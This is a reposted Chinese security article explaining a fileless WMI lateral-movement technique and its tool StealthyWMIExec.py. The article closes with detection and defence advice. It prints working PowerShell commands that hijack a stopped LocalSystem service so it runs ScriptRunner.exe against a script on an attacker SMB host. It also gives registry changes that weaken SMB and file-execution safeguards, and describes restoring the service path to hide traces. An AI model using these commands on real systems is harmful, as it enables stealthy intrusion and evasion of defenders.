绕过传统 WMIExec 检测!一种无文件 WMI 横向移动新思路

传统的 wmiexec.py 凭借 Impacket 框架成为内网横向移动的常用工具,但它的检测特征过于明显—— 依赖 Win32_Process 类的 Create 方法创建进程,执行输出会写入 ADMIN$ 共享,很容易被主流 EDR / 安全设备识别拦截。

能不能做一个不使用 Win32_Process、不写入本地磁盘,同时还能稳定执行命令、回显结果的 WMI 横向移动工具?

本文就带你拆解这种新型隐蔽攻击思路,以及它的实现工具 StealthyWMIExec.py


核心思路:抛弃老套路,换一种攻击链

传统 WMIExec 缺陷:
  • 调用Win32_Process.Create创建进程,特征明显
  • 命令输出写入本地磁盘 ADMIN$,留痕严重
  • 日志、进程链极易被检测

改进思路:
  1. 不使用 Win32_Process,改用修改系统服务路径实现执行
  2. 利用LOLBIN(ScriptRunner.exe) 远程加载 SMB 共享上的脚本
  3. 全程不写入目标主机本地磁盘
  4. 命令执行结果直接回传攻击机 SMB 服务
  5. 执行后还原服务路径,清理痕迹

关键 LOLBIN:ScriptRunner.exe

在 LOLBAS 项目中筛选后,作者选中ScriptRunner.exe它支持直接执行 SMB 共享上的 cmd 脚本,完美满足无磁盘落地需求。

https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/

ScriptRunner.exe -appvscript \192.168.122.126shareshell.cmd
图片


踩过的坑:两个必须解决的障碍

1. SMB 未经身份验证访客访问被阻止

错误提示:无法访问此共享文件夹,因为你的组织安全策略阻止了未经身份验证的访客访问

Error: You can’t access this shared folder because your organization’s security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network

图片


解决:修改注册表允许不安全访客认证

HKLMSYSTEMCurrentControlSetServicesLanmanWorkstationParametersAllowInsecureGuestAuth = 1 (DWORD)


2. Windows 安全警告弹窗阻止执行

直接运行网络脚本会弹出安全提示,导致执行中断。

图片


解决:将 .cmd 加入低风险文件白名单

HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesAssociationsLowRiskFileTypes = .cmd


完成这两项配置后,ScriptRunner 即可静默执行远程 SMB 脚本

图片


攻击核心:修改停止状态的系统服务

要让 LOLBIN 在目标机静默运行,最佳载体是已停止、以 LocalSystem 运行的系统服务

1. 筛选符合条件的服务

用 WMI 查询:已停止 + 运行身份为 LocalSystem

$TargetService = Get-CimInstance -ClassName Win32_Service -Filter "State='Stopped' AND StartName ='LocalSystem'" | Select-Object -First 1
$TargetService
图片


2. 修改服务 PathName 为攻击载荷

将服务路径替换为我们的攻击载荷:

Invoke-CimMethod -InputObject $TargetService -MethodName Change -Arguments @{  PathName = "C:WindowsSystem32scriptrunner.exe -appvscript \192.168.122.126shareshell.cmd"}


3. 启动服务触发执行

Invoke-CimMethod -InputObject $TargetService -MethodName StartService
图片


LocalSystem 权限可直接访问 SMB 并执行脚本,无需访客认证,攻击成功率大幅提升。


StealthyWMIExec.py 完整工作流程

这个基于 Impacket 开发的工具,完整实现了上述攻击链,全程自动化:

  1. 启动 SMB 服务:在攻击机开启 SMB 共享,存放 payload 与接收回显

  2. 远程检查注册表:确认.cmd 已加入 LowRiskFileTypes 白名单,没有则自动配置

  3. WMI 查询服务:查找 Stopped+LocalSystem 服务

  4. 备份并修改服务路径:替换为 ScriptRunner + SMB 远程脚本

  5. 生成 payload:创建 .cmd 执行指定命令,结果写入 SMB 共享

  6. 启动服务执行:命令运行后回传结果到攻击机

  7. 自动还原服务路径:攻击结束恢复原始 PathName,消除痕迹

  8. 读取并展示结果:输出 whoami、hostname 等执行结果

图片

技术亮点与防御建议

技术亮点
  • 无磁盘文件落地,全程远程加载

  • 不使用 Win32_Process,绕过传统 WMI 执行检测

  • 默认获得 LocalSystem 高权限

  • 执行后自动还原服务,痕迹极低

  • 依托系统自带 LOLBIN,不易被判定恶意


防御与检测建议
  1. 监控 ScriptRunner.exe 异常启动,尤其带 -appvscript + 远程路径

  2. 审计系统服务 PathName 的异常修改行为

  3. 禁用不必要的 AllowInsecureGuestAuth

  4. 限制从远程 SMB 共享直接执行 .cmd / .ps1 脚本

  5. 监控 WMI 对 Win32_Service 的 Change 和 StartService 调用

  6. 开启服务关键路径注册表监控


这套 “服务劫持 + LOLBIN + 无文件 WMI 横向” 的组合,已经明显跳出了传统 wmiexec 的检测范式。对防守方来说,只盯着 Win32_Process 已经不够,必须从服务行为、注册表、LOLBIN 调用多个维度联动分析。

最后

关于这个新型隐蔽的WMI横向移动攻击思路的详细原理建议可以去看下作者原文:

https://ghaleb0x317374.github.io/2026/03/15/Stealthy-WMI-lateral-movement-StealthyWMIExec.py.html

这个工具项目地址可通过以下方式获取!!!


下载地址

https://github.com/Ghaleb0x317374/StealthyWMIExec.py


文章来源:Hack分享吧


黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END


© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容